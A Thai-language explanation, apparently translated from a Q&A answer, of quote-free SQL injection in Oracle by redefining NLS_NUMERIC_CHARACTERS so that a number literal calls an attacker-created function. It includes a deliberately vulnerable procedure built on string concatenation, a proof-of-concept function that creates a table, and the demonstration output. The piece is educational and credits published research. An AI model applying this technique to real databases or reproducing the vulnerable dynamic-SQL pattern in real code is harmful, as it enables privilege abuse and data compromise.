ใช่มันเป็นไปได้ที่จะทำการโจมตี SQL injection โดยไม่ต้องใส่เครื่องหมายคำพูดในพารามิเตอร์
วิธีการทำเช่นนี้คือการใช้ประโยชน์จากวิธีการประมวลผลตัวเลขและ / หรือวันที่ คุณสามารถระบุในระดับเซสชันว่ารูปแบบของวันที่หรือตัวเลขคืออะไร โดยจัดการสิ่งนี้คุณสามารถฉีดด้วยตัวละครใด ๆ
ตามค่าเริ่มต้นในสหราชอาณาจักรและสหรัฐอเมริกาจะใช้เครื่องหมายจุลภาคเพื่อระบุตัวคั่นหลักพันเป็นตัวเลขและหยุดเต็มสำหรับจุดทศนิยม คุณสามารถเปลี่ยนค่าเริ่มต้นเหล่านี้ได้โดยดำเนินการ:
alter session set nls_numeric_characters = 'PZ';
ซึ่งหมายความว่า "P" ตอนนี้เป็นจุดทศนิยมและ "Z" เป็นตัวคั่นหลักพัน ดังนั้น:
0P01
เป็นจำนวน 0.01 อย่างไรก็ตามถ้าคุณสร้างฟังก์ชั่น P01 การอ้างอิงวัตถุจะถูกหยิบขึ้นมาก่อนการแปลงตัวเลข สิ่งนี้ช่วยให้คุณสามารถใช้งานฟังก์ชั่นในฐานข้อมูลที่ให้คุณเพิ่มพลังดังนี้:
สร้างฟังก์ชัน "get by id" พื้นฐาน:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
สร้างฟังก์ชัน P01 ซึ่งทำสิ่งที่ไม่พึงประสงค์ (ในกรณีนี้เพียงแค่สร้างตาราง แต่คุณได้รับแนวคิด):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
และเรายินดีที่จะไป:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
ไม่มีคำพูดใด ๆ แต่เรายังคงสามารถใช้งานฟังก์ชัน "hidden" P01 และสร้างตารางได้t
!
ขณะนี้อาจเป็นเรื่องยากที่จะทำในทางปฏิบัติ (และอาจต้องการความรู้ / ความช่วยเหลือภายใน) สิ่งนี้แสดงให้เห็นว่าคุณสามารถฉีด SQL โดยไม่ต้องมีเครื่องหมายคำพูด การเปลี่ยนแปลงnls_date_format
สามารถอนุญาตให้ทำสิ่งที่คล้ายกันได้
ผลการวิจัยเดิมสำหรับตัวเลขได้โดยเดวิดลิชฟิลด์และคุณสามารถอ่านกระดาษของเขาที่นี่ คุณสามารถค้นหาอภิปรายทอม Kyte ของวิธีการที่วันที่สามารถใช้ประโยชน์ได้ที่นี่